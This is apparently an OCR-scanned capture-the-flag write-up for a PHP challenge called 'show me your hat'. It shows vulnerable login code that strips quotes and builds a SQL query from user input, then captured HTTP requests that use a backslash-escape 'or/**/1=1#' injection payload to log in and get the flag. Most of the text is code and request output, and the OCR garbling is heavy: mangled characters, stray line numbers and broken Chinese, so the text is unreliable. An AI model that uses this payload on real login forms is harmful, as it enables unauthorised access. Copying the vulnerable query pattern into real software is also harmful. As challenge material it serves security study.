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G-l 08 IEEH 1 <?php
- 08d£9<96 76 2 defined('kblack hat') or header('Location: route.php?act=login');
Gl 1o L 1 £ essionstarcos
=l 165065135 T include_once "common.
=2 Sconneccqnysql_com\ect s "root", "Xxxxxx") or die("there is no cti!");
—hREFE— & mysql select db("hat=") or die( e is no hats!"}:
& 2 e — T — 7 if (isset($_POST["name"])){
$_SESSION([ hat’ ] 8 $name = str_replace("'", "", trim(waf($_POST["name"]}));
= B $rowl0] o if (strlen($name) > 11){
& B64b40b300 g”s“h 1 echo ("<script>alert('name too long")</script>"}):
[ER ol 1 1se{
1 esoredbded | [ i Jeise : ¢ 8
name 12 $sql = "select count(*) from t_info where |isername = 'Sname' or nickname = 'S$name'";
=] c $_FOST["nams"] echo $sql;
ol | GREEAdT I $result = mysql query ($sql); }
& "Ef Srow = mysqgl fetch array (Sresult):
2 6f60eabaz .- if (Srow(01)1 -
E-Ell e 7 § SESSION['hat'] = 'black';
| TEeeliEX) echo 'good 3ok’
- QE‘ telse{
-8 9B6TEL3bIT £ SESSION['hat'] =
E-El 9 1o
! [ 9400008558 header ("Location: index.php");:
& aN54340193 '
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-5 7>
-1 bhiBEeZ0fL <hrml>
& _EE <head>
"l <Zb7580d6% <meta charset="uLf-8" />
= e 1 <title>show me your hat</title>
8 ecfzrendds
=) G
=
18 fhd59faall
& text—base
& tmp
A
< >

KRR :

$name = str_replace("",", trim(waf($_POST["name'])));

if (strlen($name) >11){

echo("<script>alert('name toolong')</script>");

lelse{

$sql = "select count(*) from t_info where username ='$name' or nickname = '$name™;

echo $sq;

$result = mysql_query($sql);

$row = mysql_fetch_array($result);

if ($row[0]X
$ SESSION['hat']= 'black’;
echo 'good job';

lelse{




$ SESSION['hat]= 'green’;

nameFBKEARERT 11, REHWIERIREAR AT HHAT:
$_SESSION[hat]= 'black;

echo 'good job';
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ol FE 1 <?php
& ?_15 3 session start();
. [ 165065136 T i 4 defined ("'black hat') or header("Location: route.php?act=index");
& 32‘-’ 5 if (isset($_SESSION['nat'])){  gfmmmmsm—
0 2eFdacabh — PRSI — & if (§ SESSION['hat' ' '
R 4o sutput . cutput ("<img src='
i q 52 409364026 R - Jelse!
< $eontent o output ("<img src='black-fedora.jpg'>",1);
i 564b40bI0C $1 echo &flag:
o5l 69 $eoount a;
T baed || a8 o e . ! -
il G567 e da $_SESSION[ hat'] 12 echo "<brx<br><brx<a href='logout.php'>I give up!</a>":
=E qec 13 telse!
. i 6c26420:00 1 output ("<img src= hat.3ipg'>",10):
=il of 15 echo "<bry<bry<hbri<a hr login.php'>I want to check the color of my hat!</a>";:
- BfE0eabB32 e
&5 q 779 17 function output ($content, Scount) {
. & 19cclT64al for ($§i=0;§i<Scount;$i++){
=-5 %8 i) echo $content;
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if(isset($_SESSION['hat)K
if(5_SESSION['hat]=="green’){
output("<imgsrc='green-hat-1.jpg>",10);
lelse{
output("<imgsrc="black-fedora.jpg>",1);
echo $flag;
}
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POST froute phpPact=login HITP/1. 1

dccept: image/pif, image/iper, image/pipeg, application/x-ms-application,
application/zaml+mml, application/z-ms-xban, */%

Referer: http://106. 75 106. 203: 1515/ 1oute. phpact=login

dccept-language: zh-CN

User-Agent: Mozilla/4 0 (compatible; MSIE 7.0: Tindows NT 10.0: Wowhd: Trident/7. 0:
.WET4.0C; .NET4. 0E; .NET CLR 2.0.30 WET CLE 3.0.30728; .NET CLR 3.353.30728)
Jontent-Type: application/s-wwwform-urlencoded

dccept-Encoding: gzip, deflate

Content-Length: 28

Host: 106.75. 106. 2031515

Pragma: no-cache

Cookie: PHPSESSID=mrlodafv5illifolSdordlived

Zomnection: Clny

name=" pr 1=1#\' Esubmit=check

T

HITE/1. 1
Date:

302 Found

Sun, 08 Jul 2017 08:11:57 GNT

Server: Apache/2.4. 7 (Uhuntu)

i-Powered-Br: PHP/3. 3. O-lubuntud. 21

Expires: Thu, 19 Wov 1981 08:52:00 cHT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
Pragmwa: no-cache

Location: index. php

Content-Length: 1109

Comnection: close

Content-Type: text/html

select count(¥) from

t_info where username =

"\orl=1#\\\ htnl

hea

d
mets charset="utf-8" /
title’show me your hat{/title
link rel="strlesheet” href=css/hootstrap. min css /

"Nexl= VW

pre—check=0

or nickname

RInameZ B AT LIVEN, AddETIRE, WK IIIET T, %dftifi T, ZilFEHEEST,
7~good job, #iBHpayloadf 2, #im%payloadAy: or /**/1=1#

= L L "

Host: 106.75. 106. 203: 1515
Fragma: no-cache
Coolkie: PHPSESSID=m1lodqfv5illifolidardlTved

Comnection: close

name=ox /#%/1=1#" Esubmit=check

N

fEloginT I NMEH AN or/*/1=1# BEIf3Zlflag.

Content-Trpe: text/html

select count(#*) from t_info where username =

rd

Tor/¥HS1=14\"

Tor/##/1=1#\ good jobhinl

head

flag {zood_job_white_hat}

I give up!

meta charset="utf-2" /

title’show me your hat(/title

lesheet” href=css/boctstrap min css /
‘lesheet” href=css/hootstrap-theme min ess /

sfiquery-2. 2. 0.min 5"/ seript
serint sre="is/bootstran. min is" </ scrint

L — L L L

POST /route phpPact=login HTTR/1 1 i HTTE/1. 1 302 Found

4ccept: image/eif, image/ipee, imaee/pivee, application/x-ms-application, a Date: Sunm, 09 Tul 2017 06:15:23 GNT
application/raml+mml, application/z-ms-xbap, */# Server: Apache/2.4.7 (Ubuntu?
Referer: http://108. 75 106. 203:1315/route. phptact=login i-Powered-Br: PHP/3. 5. 9-lubuntud. 21
4ccept-Language: zh-CH Expires: Thu, 19 Nov 1981 08:52:00 ¢NT
User-Agent: Mozilla/4. 0 (compatible; NSIE 7.0; Windows NT 10.0; WOWG4; Trident/7. 0; Cache-Contrel: no-store, no—cache, must-revalidate, post-check=0, pre-check=0
JWET4. 0C; .WET4.0E; .NWET CLRE 2.0.50727; .NWET CLR 3.0.30729; .NET CLR 3. 5. 307290 Pragma: no-cache

Content-Trpe: application/z-vww—form-urlencoded Location: index. php

4ecept-Encoding: gzip, deflate Content-Length: 1119

Content-Length: 30 Comnection: close

or nickname
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